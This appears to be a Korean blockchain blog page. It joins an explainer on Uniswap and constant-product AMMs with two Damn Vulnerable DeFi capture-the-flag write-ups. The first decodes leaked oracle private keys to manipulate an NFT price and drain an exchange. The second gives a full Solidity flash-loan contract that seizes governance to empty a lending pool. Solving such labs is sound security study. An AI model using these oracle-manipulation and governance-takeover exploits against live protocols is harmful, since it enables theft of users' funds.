Introduction


블록체인을 공부하다 보면 '스왑'이라는 말을 많이 들어봤을 것이다. 그중에서도 특히 Uniswap을 많이 접했을 것이다. 나는 이 Uniswap이 무엇이며, 어떤 역할을 하는지, 그리고 Uniswap에서 x * y = k라는 수식이 어떤 역할을 하는지 궁금했다. 지금부터 내가 전에 공부하면서 들었던 질문들을 중심으로 정리해보려고 한다.


Term


이 용어들은 아래 설명을 이해하는 데 도움이 된다. 한 번 읽고 나서 아래 글을 읽는 것을 추천한다.


오더북 (Order Book)


오더북은 거래소에서 매수 및 매도 주문이 나열되는 전자 장부이다. 매수 주문과 매도 주문이 각각 가격과 수량에 따라 정렬되어 있으며, 사용자는 이 오더북을 통해 원하는 가격에 주문을 넣을 수 있다. 매수 주문과 매도 주문이 일치할 때 거래가 성사되며, 호가창을 생각하면 쉽다.


유동성 (Liquidity)


유동성은 자산을 신속하게 매매할 수 있는 능력을 의미한다. 유동성이 높을수록 자산을 쉽게 사고팔 수 있으며, 시장 가격에 큰 영향을 미치지 않는다. 유동성이 낮으면 거래가 어려워지고, 가격 변동성이 커질 수 있다.


유동성 공급자 (Liquidity Provider)


유동성 공급자는 거래소에서 유동성을 제공하는 역할을 하는 참여자이다. 이들은 자신의 자산을 유동성 풀에 예치하여, 거래소에서 다른 사용자가 거래를 원할 때 해당 자산을 이용할 수 있게 한다. 유동성 공급자는 거래 수수료를 통해 보상을 받는다.


풀 (Pool)


풀은 유동성 공급자가 예치한 자산이 모여 있는 곳이다. 유동성 풀에는 다양한 토큰 쌍이 포함될 수 있으며, 거래는 이 풀을 통해 이루어진다. 예를 들어, ETH/USDT 풀에는 이더리움(ETH)과 테더(USDT)가 예치되어 있다.


가스 (Gas)


가스는 이더리움 블록체인 상에서 거래를 수행할 때 지불하는 수수료이다. 가스 수수료는 거래의 복잡성과 네트워크 상태에 따라 달라지며, 가스는 이더(ETH)로 지불된다. 가스는 블록체인 네트워크의 작업을 처리하는 마이너에게 지급된다.


토큰 쌍 (Token Pair)


토큰 쌍은 두 개의 암호화폐 또는 토큰이 거래되는 조합을 의미한다. 예를 들어, BTC/ETH는 비트코인(BTC)과 이더리움(ETH) 간의 거래를 의미한다. 거래소에서는 다양한 토큰 쌍이 존재하며, 사용자는 원하는 토큰 쌍을 선택하여 거래할 수 있다.


마이너 (Miner)


마이너는 블록체인 네트워크에서 새로운 블록을 생성하고, 트랜잭션을 검증하여 블록체인에 추가하는 참여자를 의미한다. 마이너는 컴퓨팅 파워를 사용하여 복잡한 수학적 문제를 해결하는 과정을 통해 보상을 받는다.


  1. 트랜잭션 검증: 네트워크에서 발생하는 트랜잭션을 수집하고, 그 유효성을 검증한다. 이를 통해 이중 지불(double spending) 문제를 방지하고, 트랜잭션의 신뢰성을 확보한다.
  2. 블록 생성: 검증된 트랜잭션을 모아 블록을 생성한다. 새로운 블록을 생성하기 위해 마이너는 작업 증명(Proof of Work)과 같은 합의 알고리즘을 사용하여 특정 수학적 문제를 해결해야 한다. 현재 Ethereum은 PoS로 전환되었다.
  3. 블록체인에 추가: 생성된 블록을 블록체인에 추가한다. 이를 통해 블록체인이 계속해서 확장되고, 네트워크의 거래 기록이 영구적으로 보존된다.
  4. 보상: 마이너는 새로운 블록을 생성하고 트랜잭션을 검증한 대가로 암호화폐 보상을 받는다. 이 보상은 일반적으로 블록 보상(block reward)과 트랜잭션 수수료(transaction fees)로 구성된다.

 

합의 알고리즘


  • 작업 증명(Proof of Work, PoW): 마이너가 복잡한 수학적 문제를 해결하는 과정을 통해 새로운 블록을 생성한다. 이 과정은 많은 컴퓨팅 파워를 필요로 하며, 비트코인과 이더리움(이전 PoW 시기)에서 사용되었다.
  • 지분 증명(Proof of Stake, PoS): 마이너 대신 밸리데이터(Validator)가 자신의 암호화폐를 네트워크에 스테이킹(staking)하고, 이를 통해 블록을 생성하고 검증한다. 이더리움 2.0에서 대표적으로 사용된다.

 

What is AMM?


Uniswap이 무엇을 하는 것이냐? 이것이 어떤 시스템인가? 툴인가? 여러 궁금증이 들 수 있다.


간단히 말하자면, Uniswap은 Ethereum 및 기타 블록체인에서 실행되는 분산형 암호화폐 거래소(DEX)이다. 전통적인 거래소와는 달리, Uniswap은 사용자들이 직접 암호화폐를 거래할 수 있도록 한다.


기존 전통적인 거래소와 Uniswap의 가장 큰 차이점은 바로 AMM(Automated Market Maker)를 도입했다는 점이다. AMM은 기존의 Order Book 기반 거래소와 달리 유동성 풀을 통해 거래를 처리한다.


그렇다면 왜 AMM을 도입하게 되었을까?


기존의 거래소들은 블록체인 상에서 암호화폐를 거래할 수 있게 조성한 시스템은 아니다. 사용자들은 거래소가 제공한 중앙화된 시스템 내에서 Order Book 기반 인터페이스를 통해 거래를 하는 것이다. 이러한 중앙화 거래소는 보안 문제, 불투명성, 지역적 제한 등의 여러 문제를 내포하게 된다.


보다 탈중앙화되고, 투명한 거래 방식을 모색한 결과로 탈중앙화 거래소(DEX)가 등장하게 되었다. DEX는 사용자가 직접 자산을 관리하고, 스마트 계약을 통해 거래를 처리하면서 중앙화 거래소의 한계를 극복할 수 있는 대안으로 주목받기 시작했다. 여러 DEX 개발 시도 중 하나가 이더델타(EtherDelta)였다.


이더델타는 기존 거래소(CEX)와 같은 Order Book 기반 거래소를 블록체인 상에서 구현하고자 했다. 결과적으로 이는 크게 성공하지 못했다. 이유를 크게 살펴보자.


  1. Gas Fee 문제: Order Book 방식의 거래는 매수, 매도를 미리 등록하는 방식이기에 거래 생성, 취소 등에 많은 gas fee를 요구했다.
  2. 유동성 부족 문제: 사용자 수가 많지 않았고, 사용자들이 DEX를 사용하는 데 어려움을 겪었기에 이러한 여러 문제들이 곧 유동성 부족 문제로 이어졌다.

 

이러한 문제 때문에 초기 DEX는 성공하지 못했다. 하지만 이러한 문제점을 해결한 것이 바로 Uniswap이었다.

Uniswap은 기존의 Order Book 시스템을 버리고 AMM을 도입하였다. AMM은 Uniswap에서 누구나 유동성을 공급할 수 있었고, 이 유동성을 바탕으로 결정된 가격으로 사용자들이 언제 어디서든 거래할 수 있게 되었다.

이제 AMM에 대해 자세히 살펴보도록 하자.


AMM (feat. CPMM)


Uniswap에서는 여러 AMM 중 CPMM(Constant Product Market Maker)을 사용한다. 용어를 곧이곧대로 해석하면 감이 올 수도 있다.


CPMM은 X * Y = K라는 간단한 식을 기반으로 한다. 여기서 X와 Y는 각각 두 종류의 토큰의 리저브 양을 의미하며, K는 X와 Y의 곱으로 일정하게 유지된다.


이 식의 중요한 점은 K가 항상 일정하게 유지된다는 것이다. 따라서 어떤 한 종류의 토큰이 추가되거나 제거되면, 다른 종류의 토큰의 양이 이에 상응하여 조정된다. 예시를 통해 살펴보자.


XXX와 YYY의 교환


현재 Uniswap의 XXX/YYY 풀에는 30 XXX와 700 YYY가 유동성으로 제공되고 있다. 이 상황에서 트레이더가 1 XXX를 지불하고 YYY를 구매한다고 가정하자. 아래 예시들에서 거래 수수료는 제외하겠다.


  1. 거래 전 상태:
    • XXX 리저브(X): 30
    • YYY 리저브(Y): 700
    • K = X * Y = 21,000
  2. 트레이더가 1 XXX를 지불:
    • 바뀐 XXX 리저브: 31
    • 바뀐 YYY 리저브: Y = 21,000 / 31 ≈ 677.419
  3. 트레이더가 받는 YYY의 양:
    • 700 - 677.419 ≈ 22.581

 

여기서 주목할 점은 거래 전후 XXX와 YYY의 비율이 변화하여 XXX의 가격은 상승하고 YYY의 가격은 하락한다는 점이다. 처음에 의도했던 가격과 실제 거래 가격 사이의 차이를 슬리피지(Slippage)라고 하는데, 이는 CPMM의 특성상 발생할 수밖에 없다.


조금 생각해보면 유동성이 크면 클수록 상대적인 슬리피지 양이 줄어들 수밖에 없다는 것을 알 수 있다. 한 번 살펴보자.

이제 유동성을 증가시킨 상황을 가정해보자.


현재 Uniswap의 XXX/YYY 풀에 30,000 XXX와 700,000 YYY가 유동성으로 제공되고 있다. 이 상황에서 동일하게 트레이더가 1 XXX를 지불하고 YYY를 구매한다고 가정하자.


  1. 거래 전 상태:
    • XXX 리저브(X): 30,000
    • YYY 리저브(Y): 700,000
    • K = X * Y = 21,000,000,000
  2. 트레이더가 1 XXX를 지불:
    • 바뀐 XXX 리저브: 30,001
    • 바뀐 YYY 리저브: Y = 21,000,000,000 / 30,001 ≈ 699,976.667
  3. 트레이더가 받는 YYY의 양:
    • 700,000 - 699,976.667 ≈ 23.333 YYY

 

유동성이 증가함에 따라 슬리피지가 어떻게 변했는지를 살펴보면, 동일한 1 XXX를 거래했을 때 유동성이 적었던 첫 번째 예시에서는 약 22.581 YYY를 받았지만, 유동성을 증가시킨 두 번째 예시에서는 약 23.333 YYY를 받게 되었다. 슬리피지가 줄어들었음을 확인할 수 있다. 그래서 Uniswap을 포함한 DEX는 TVL(Total Value Locked)로 표현되는 많은 유동성을 확보하기 위해 노력한다.


하지만 많은 유동성만이 슬리피지를 해결하는 방법은 아니다. 이는 Uniswap V3에서 도입된 집중화된 유동성(Concentrated Liquidity)을 찾아보길 권한다.


Gas Fee


초기 DEX들이 실패한 원인 중 하나가 Gas Fee였다. 이더리움 블록체인에서 거래를 실행할 때마다 발생하는 가스 수수료는 사용자가 네트워크의 계산 자원을 사용하는 대가로 지불해야 하는 비용이다. 위에서 봤듯이, 초기 DEX들, 예를 들어 이더델타(EtherDelta)는 복잡한 스마트 계약을 사용하여 거래를 처리하였고, 이는 높은 가스 비용을 초래했다. 이러한 높은 가스 수수료는 사용자들이 자주 거래를 취소하거나 변경할 때마다 추가적인 비용을 발생시키며, DEX를 사용하는 데 있어 큰 장애물로 작용했다.


유니스왑은 이러한 문제를 해결하기 위해 가스 수수료를 낮추는 데 주력했다. 유니스왑은 CPMM 모델을 채택하여 거래 과정을 단순화하고, 복잡한 주문서 관리 시스템을 없앴다. 이는 거래를 수행할 때 필요한 계산을 최소화하여 가스 비용을 절감하는 효과를 가져왔다. 유니스왑의 간단하고 효율적인 스마트 계약 구조는 가스 비용을 크게 줄였고, 이를 통해 사용자들은 보다 저렴한 비용으로 거래할 수 있게 되었다.


이러한 효율성 덕분에 유니스왑은 초기부터 많은 사용자를 끌어들일 수 있었고, 이는 유니스왑의 성공에 중요한 역할을 했다. 낮은 가스 수수료는 유동성 공급자와 트레이더 모두에게 유리한 환경을 제공하였고, 이는 유니스왑이 다른 DEX들과 차별화될 수 있는 중요한 요인이 되었다.


결론적으로, 유니스왑의 성공은 가스 수수료를 효율적으로 관리한 덕분이다. 이를 통해 사용자들은 부담 없이 거래할 수 있었고, 유동성 공급자들은 보다 안정적인 수익을 기대할 수 있었다. 이는 유니스왑이 초기에 성공할 수 있었던 주요 원인 중 하나로 작용했다.


Liquidity Provider


Uniswap에서 유동성 공급자(Liquidity Provider, LP)의 역할은 매우 중요하다. 중앙화된 거래소와는 달리, 유니스왑은 유동성 공급자들이 풀에 제공하는 자산을 통해 거래를 처리한다. 이는 유동성 공급자들이 유니스왑의 성공과 안정성에 직접적인 영향을 미친다는 것을 의미한다.


유동성 공급자의 역할


유니스왑에서 유동성 공급자가 되려면, 예를 들어 ETH/DAI 풀에 유동성을 제공한다고 할 때, 사용자는 이더리움(ETH)과 다이(DAI)를 일정 비율로 예치해야 한다. 이렇게 예치된 자산은 유동성 풀을 형성하며, 다른 사용자가 이 풀에서 자유롭게 거래를 할 수 있도록 돕는다. 유동성 풀의 크기가 클수록 거래가 더 원활하게 이루어질 수 있고, 슬리피지(Slippage)도 줄어들게 된다.


LP 토큰의 의미


유동성 공급자들이 자산을 풀에 예치하면, 그 대가로 LP 토큰을 받는다. 이 LP 토큰은 유동성 공급자가 풀에 기여한 비율을 나타낸다. 예를 들어, ETH/DAI 풀에 전체 유동성의 10%를 기여했다면, 유동성 공급자는 전체 LP 토큰의 10%를 받게 된다. 이 LP 토큰은 단순한 기여도를 나타내는 지표에 그치지 않고, 풀에서 발생하는 거래 수수료를 배분받을 권리도 부여한다.


거래 수수료 수익


유니스왑에서 이루어지는 모든 거래는 소액의 거래 수수료를 발생시키며, 이 수수료는 유동성 풀로 귀속된다. 그리고 이 수수료는 유동성 공급자들에게 배분된다. 예를 들어, 특정 풀에서 한 달 동안 100 ETH의 거래 수수료가 발생했다면, 해당 풀에 10%의 기여를 한 유동성 공급자는 10 ETH의 수수료를 받게 된다.


유동성 공급의 장점과 리스크


유동성 공급자는 거래 수수료를 통해 수익을 얻을 수 있지만, 이는 리스크도 수반한다. 가장 큰 리스크 중 하나는 '영구적 손실(Impermanent Loss)'이다. 이는 예치한 자산의 상대적 가치 변화로 인해 발생할 수 있는 손실을 의미한다. 예를 들어, 예치한 두 자산 중 하나의 가격이 급격히 변동하면, 유동성 풀에서의 비율이 달라져 손실이 발생할 수 있다.


Reference Link

https://medium.com/@aiden.p/uniswap-series-1-유니스왑-이해하기-e321446623c7

The Challenge


While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.

Here’s a snippet:


**HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34**


A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.


The Contracts


이번 문제는 NFT를 엄청나게 높은 가격에 판매하는 NFT 거래소를 중심으로 진행된다. 이러한 가격은 외부 Oracle 서비스에서 제공되며 우리는 내부 작동 방식을 분석하고, 유리하게 조작하는 방법을 알아내야 한다.

먼저 저 16진수 값들은 뭘까? 문자열로 변환해보았다.


MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

뭔가 Base64 느낌이 나서 시도를 해보았더니


0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

이게 뭘까? 이번 문제는 기존 문제들과 다르게 웹 서버에서 얻은 정보를 바탕으로 풀어야 하나 보다. 저게 신뢰할 수 있는 계정들 중 2개의 개인 키가 아닐까? 이를 바탕으로 NFT 가격을 조작하여 모든 ETH를 얻을 수 있다. 위 가설이 맞다면 성공할 것이다. 시도해보자.


it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const key1 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
        const key2 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"

        const account1 = new ethers.Wallet(key1, ethers.provider);
        const account2 = new ethers.Wallet(key2, ethers.provider);

        await oracle.connect(account1).postPrice("DVNFT", 1);
        await oracle.connect(account2).postPrice("DVNFT", 1);

        await exchange.connect(player).buyOne({ value: 1 });

        await oracle.connect(account1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));
        await oracle.connect(account2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));

        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);

        await oracle.connect(account1).postPrice("DVNFT", INITIAL_NFT_PRICE);
        await oracle.connect(account2).postPrice("DVNFT", INITIAL_NFT_PRICE);
    });

먼저 개인키를 통해 계정을 연결하고, NFT 가격을 1로 설정 후, player가 산다. 그 후 가격을 다시 바꾸고, 그 가격으로 팔아서 거래소의 NFT를 뺄 수 있다. 이는 민감한 정보를 블록체인 상 저장한 것과 너무 특정 계정에 의존한다는 문제점으로 발생하였다.


The Challange


A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.


The Contracts


토큰을 모두 탈취해야 한다. 제공된 초기 자금은 없다. 그럼 어떻게 토큰을 탈취해야 할까?

SimpleGovernance.sol을 보면 여러 거버넌스 메커니즘이 구성되어 있다. 실행할 대상 주소, 데이터 등을 제공받아 실행할 작업을 제안하고 대기열에 넣는 등 작업을 할 수 있다. 하지만 이러한 작업들은 거버넌스 토큰의 총 공급량의 최소 50% 이상의 투표를 보유해야 하며, 제안된 후 2일의 시간 지연과 같은 조건들이 있다.


그럼 flashloan 관련 contract를 보자. SelfiePool.sol은 ERC20 token에 대한 flashloan 기능이 있다. 사용자는 IERC3156FlashBorrower 인터페이스를 구현하는 한 토큰을 빌릴 수 있으며, 긴급 상황 발생 시 거버넌스가 풀에서 자금을 뺄 수 있게 하는 메커니즘이 구성되어 있다. 이 기능은 거버넌스만 실행 가능하다.

토큰을 모두 탈취할려면 위 기능을 실행하면 된다. 하지만 어떻게 거버넌스가 실행하게 할 수 있을까?

먼저 50% 이상의 투표를 보유하기 위해서 flashloan으로 자금을 대출한 한 후 EmergencyExit 함수를 호출하고, flashloan을 payback하면 되지 않을까? 공격 contract를 작성해보자.


Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IPool {
    function flashLoan(
        IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data
    ) external returns (bool);
}

interface IGovernance {
    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
    function getActionCounter() external returns (uint256);
}

interface IERC20Snapshot is IERC20{
    function snapshot() external returns(uint256);
}

contract attackSelfie is IERC3156FlashBorrower {

    IPool public pool;
    IGovernance public governance;
    IERC20Snapshot public token;
    address public player;
    uint256 public amount = 1500000 ether;

    constructor(address _pool, address _governance, address _token, address _player) {
        pool = IPool(_pool);
        governance = IGovernance(_governance);
        token = IERC20Snapshot(_token);
        player = _player;
    }
    
    function attack() public {
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", player);
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), amount , data);
    }

    function onFlashLoan(address, address, uint256 _amount, uint256, bytes calldata data) external returns (bytes32) {
        uint256 id = token.snapshot();
        governance.queueAction(address(pool), 0, data);
        token.approve(address(pool), _amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Exploit Flow


  1. Attack Start:
    • attack() 함수가 호출되면, emergencyExit(address) 함수를 호출하는 페이로드 데이터를 작성
    • 150만 토큰을 플래시 론으로 빌리기 위해 pool.flashLoan()을 호출
  2. FlashLoan :
    • 플래시 론이 완료되면 onFlashLoan() 콜백 함수가 호출
    • 스냅샷을 찍어 거버넌스 토큰의 현재 상태를 기록
    • emergencyExit(address) 함수를 호출하는 작업을 거버넌스 큐에 삽입
    • 빌린 토큰을 풀로 반환하기 위해 토큰 전송을 승인
  3. 작업 실행:
    • 2일이 지난 후, 큐에 넣은 작업이 실행될 수 있다.
    • SimpleGovernance 계약의 executeAction() 함수를 호출하여 emergencyExit()을 실행
    • 이로 인해 SelfiePool 계약이 공격자 주소로 모든 자금을 전송하게 되며 flashloan도 모두 payback된다.
it('Execution', async function () {
	/** CODE YOUR SOLUTION HERE */
    this.exploitContract = await (await ethers.getContractFactory("attackSelfie", player)).deploy(pool.address, governance.address, token.address, player.address)
    await this.exploitContract.attack();
    
    const DELAY = 2 * 24 * 60 * 60 + 1;
    await time.increase(DELAY);  
    await governance.connect(player).executeAction(1);
});

 



 

'Blockchain' 카테고리의 다른 글

Uniswap이 뭘까?  (2) 2024.07.18
Damn Vulnerable DeFi Challenge #7 - Compromised  (0) 2024.07.06
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27

+ Recent posts